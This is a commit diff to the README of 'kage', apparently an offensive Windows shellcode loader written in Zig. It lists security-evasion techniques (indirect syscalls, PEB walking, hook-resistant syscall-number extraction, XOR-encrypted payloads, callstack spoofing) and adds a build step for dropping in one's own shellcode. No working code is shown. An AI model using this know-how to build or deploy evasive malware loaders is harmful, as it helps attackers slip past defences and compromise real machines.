kage: asm arg1 fix, NT_SUCCESS i32, RecycledGate SSN, embedFile, build xor

README.md

@@ -10,9 +10,10 @@ Shellcode loader using indirect syscalls. Self-injection, FreshyCalls SSN extrac
 
 ## Why Zig
 
-Zig's build system handles everything: random XOR key generation, comptime shellcode encryption, cross-compilation. One command, no external tools needed. No CRT linked, minimal import table.
+Zig's build system handles everything: random XOR key generation, build-time shellcode encryption, cross-compilation. One command, no external tools needed. No CRT linked, minimal import table.
 
 ```bash
+# 1. drop your shellcode as src/payload.bin
 zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
 # → zig-out/bin/kage.exe
 ```
@@ -22,7 +23,7 @@ zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
 - **影探し** — ntdll via PEB walk (`gs:[0x60]`)
 - **闇渡り** — indirect syscall dispatch (64 random gadgets)
 - **血判** — FreshyCalls SSN extraction (sorted export RVA, immune to inline hooks)
-- **封印** — comptime shellcode XOR with per-build 128-bit random key
+- **封印** — build-time shellcode XOR with per-build 128-bit random key
 - **影纏い** — XOR-encoded asm dispatch globals + callstack spoofing
 
 For evasion use [Valak](https://git.churchofmalware.org/JYenn/valak).